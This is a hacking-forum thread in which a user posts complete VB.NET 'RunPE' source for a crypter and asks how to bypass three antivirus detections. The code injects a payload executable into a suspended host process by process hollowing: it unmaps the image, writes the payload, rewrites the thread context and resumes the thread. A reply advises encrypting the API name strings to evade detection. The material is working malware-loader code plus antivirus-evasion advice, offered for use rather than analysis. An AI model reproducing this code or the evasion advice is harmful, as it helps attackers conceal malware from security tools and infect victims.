

Forum:[Hack Forums](#)

Thread: [\[Opinion\]Runpe\[Opinion\]](#)

Ghostenigma - December 21, 2010, 6:21 am

The crypter that I am using has 3 detections(Ikarus,A-squared and avira)

This runpe is called dinamicly.I think that those detections are coming from runpe!How to bypass them?!Any opinion?!

```
Code Imports System.Runtime.InteropServices
Imports System.Text
Public Class Njeriu
```

```
    Declare Function LoadLibraryA Lib "kernel32" (ByVal Name As String) As IntPtr
```

```
    Declare Function GetProcAddress Lib "kernel32" (ByVal Handle As IntPtr, ByVal Name As String) As IntPtr
```

```
    Function CreateAPI(Of T)(ByVal Name As String, ByVal Method As String) As T
    Return
    DirectCast(DirectCast(Runtime.InteropServices.Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(Name), Method), GetType(T)), Object), T)
    End Function
```

```
    Delegate Function SetThreadContext(ByVal hThr As IntPtr, ByVal ctxt As UInteger()) As
<Runtime.InteropServices.MarshalAs(Runtime.InteropServices.UnmanagedType.Bool)> Boolean
    Dim oSTH As SetThreadContext = CreateAPI(Of SetThreadContext)("kernel32",
"SetThreadContext")
```

```
    Delegate Function ResumeThread(ByVal hThread As IntPtr) As UInteger
    Dim oRTH As ResumeThread = CreateAPI(Of ResumeThread)("kernel32", "ResumeThread")
```

```
    Delegate Function NtUnmapViewOfSection(ByVal hProc As IntPtr, ByVal baseAddr As IntPtr) As
UInteger
    Dim oNUFOS As NtUnmapViewOfSection = CreateAPI(Of NtUnmapViewOfSection)("ntdll",
"NtUnmapViewOfSection")
```

```
    Delegate Function VirtualAllocEx(ByVal hProc As IntPtr, ByVal addr As IntPtr, ByVal size As
IntPtr, ByVal allocType As Integer, ByVal prot As Integer) As IntPtr
    Dim oVAE As VirtualAllocEx = CreateAPI(Of VirtualAllocEx)("kernel32", "VirtualAllocEx")
```

```
    Delegate Function GetThreadContext(ByVal hThr As IntPtr, ByVal ctxt As UInteger()) As
<Runtime.InteropServices.MarshalAs(Runtime.InteropServices.UnmanagedType.Bool)> Boolean
    Dim oGTHC As GetThreadContext = CreateAPI(Of GetThreadContext)("kernel32",
"GetThreadContext")
```

```
    Delegate Function WriteProcessMemory(ByVal hProcess As IntPtr, ByVal lpBaseAddress As
IntPtr, ByVal lpBuffer As Byte(), ByVal nSize As UInteger, ByVal lpNumberOfBytesWritten As
Integer) As Boolean
    Dim oWPM As WriteProcessMemory = CreateAPI(Of WriteProcessMemory)("kernel32",
"WriteProcessMemory")
```

```

Delegate Function ReadProcessMemory(ByVal hProc As IntPtr, ByVal baseAddr As IntPtr,
ByRef bufr As IntPtr, ByVal bufrSize As Integer, ByRef numRead As IntPtr) As
<Runtime.InteropServices.MarshalAs(Runtime.InteropServices.UnmanagedType.Bool)> Boolean
    Dim oRPM As ReadProcessMemory = CreateAPI(Of ReadProcessMemory)("kernel32",
"ReadProcessMemory")

```

```

Delegate Function CreateProcess(ByVal appName As String, ByVal commandLine As
System.Text.StringBuilder, ByVal procAttr As IntPtr, ByVal thrAttr As IntPtr,
<Runtime.InteropServices.MarshalAs(Runtime.InteropServices.UnmanagedType.Bool)> ByVal
inherit As Boolean, ByVal creation As Integer, ByVal env As IntPtr, ByVal curDir As String, ByVal
sInfo As Byte(), ByVal pInfo As IntPtr()) As
<Runtime.InteropServices.MarshalAs(Runtime.InteropServices.UnmanagedType.Bool)> Boolean
    Dim oCP As CreateProcess = CreateAPI(Of CreateProcess)("kernel32", "CreateProcessA")

```

```

Public Function PjeseTrupi(ByVal Bytes As Byte(), ByVal surrogateProcess As String) As
Boolean

```

```

Try

```

```

    Dim procAttr As IntPtr = IntPtr.Zero
    Dim processInfo As IntPtr() = New IntPtr(3) {}
    Dim startupInfo As Byte() = New Byte(67) {}

```

```

    Dim num2 As Integer = BitConverter.ToInt32(Bytes, 60)
    Dim num As Integer = BitConverter.ToInt16(Bytes, num2 + 6)
    Dim ptr4 As New IntPtr(BitConverter.ToInt32(Bytes, num2 + &H54))

```

```

    If oCP(Nothing, New StringBuilder(surrogateProcess), procAttr, procAttr, False, 4, _
procAttr, Nothing, startupInfo, processInfo) Then
        Dim ctxt As UInteger() = New UInteger(178) {}
        ctxt(0) = &H10002
        If oGTHC(processInfo(1), ctxt) Then
            Dim baseAddr As New IntPtr(ctxt(&H29) + 8L)

```

```

        Dim buffer__1 As IntPtr = IntPtr.Zero
        Dim bufferSize As New IntPtr(4)

```

```

        Dim numRead As IntPtr = IntPtr.Zero

```

```

        If oRPM(processInfo(0), baseAddr, buffer__1, CInt(bufferSize), numRead) AndAlso
(oNUFOS(processInfo(0), buffer__1) = 0) Then
            Dim addr As New IntPtr(BitConverter.ToInt32(Bytes, num2 + &H34))
            Dim size As New IntPtr(BitConverter.ToInt32(Bytes, num2 + 80))
            Dim lpBaseAddress As IntPtr = oVAE(processInfo(0), addr, size, &H3000, &H40)

```

```

        Dim lpNumberOfBytesWritten As Integer

```

```

        oWPM(processInfo(0), lpBaseAddress, Bytes, CUInt(CInt(ptr4)), lpNumberOfBytesWritten)
        Dim num5 As Integer = num - 1
        For i As Integer = 0 To num5
            Dim dst As Integer() = New Integer(9) {}
            Buffer.BlockCopy(Bytes, (num2 + &HF8) + (i * 40), dst, 0, 40)
            Dim buffer2 As Byte() = New Byte((dst(4) - 1)) {}
            Buffer.BlockCopy(Bytes, dst(5), buffer2, 0, buffer2.Length)

```

```
size = New IntPtr(lpBaseAddress.ToInt32() + dst(3))  
addr = New IntPtr(buffer2.Length)
```

```
oWPM(processInfo(0), size, buffer2, CUInt(addr), lpNumberOfBytesWritten)
```

```
Next
```

```
size = New IntPtr(ctxt(&H29) + 8L)
```

```
addr = New IntPtr(4)
```

```
oWPM(processInfo(0), size, BitConverter.GetBytes(lpBaseAddress.ToInt32()), CUInt(addr),  
lpNumberOfBytesWritten)
```

```
ctxt(&H2C) = CUInt(lpBaseAddress.ToInt32() + BitConverter.ToInt32(Bytes, num2 + 40))
```

```
oSTH(processInfo(1), ctxt)
```

```
End If
```

```
End If
```

```
oRTH(processInfo(1))
```

```
End If
```

```
Catch
```

```
Return False
```

```
End Try
```

```
Return True
```

```
End Function
```

```
End Class
```

6e756c6c - December 21, 2010, 6:31 am

Your API's aren't encrypted.

Code Dim oRPM As ReadProcessMemory = CreateAPI(Of ReadProcessMemory)("kernel32",
"ReadProcessMemory")

You need to hide the strings kernel32, and ReadProcessMemory. That applies to the other API's as well.

Ghostenigma - December 21, 2010, 6:43 am

OK thanks for that. Now I'll try to learn how to encrypt them.

no1me - December 21, 2010, 9:43 am

yhe. the av detect the process API's